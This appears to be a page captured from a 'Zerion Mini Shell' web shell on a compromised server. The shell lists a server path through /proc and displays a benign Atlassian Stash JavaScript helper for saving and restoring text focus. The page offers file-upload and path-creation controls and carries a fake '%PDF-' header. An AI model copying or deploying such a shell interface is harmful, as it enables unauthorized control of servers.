%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/util/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/util/focus-snapshot.js

define('util/focus-snapshot', [
    'jquery'
], function(
    $
) {

    'use strict';

    return (function() {
        var $el, selection;
        return {
            save: function() {
                var element =  document.activeElement;
                if (element) {
                    $el = $(element);
                    if ($el.is(':text, textarea')) {
                        selection = $el.getSelection(); // requires rangy (rangy-input.js)
                    }
                }
            },
            restore: function() {
                if ($el) {
                    $el.focus();
                    if (selection) {
                        $el.setSelection(selection.start, selection.end);
                    }
                }
            }
        };
    })();

});

Zerion Mini Shell 1.0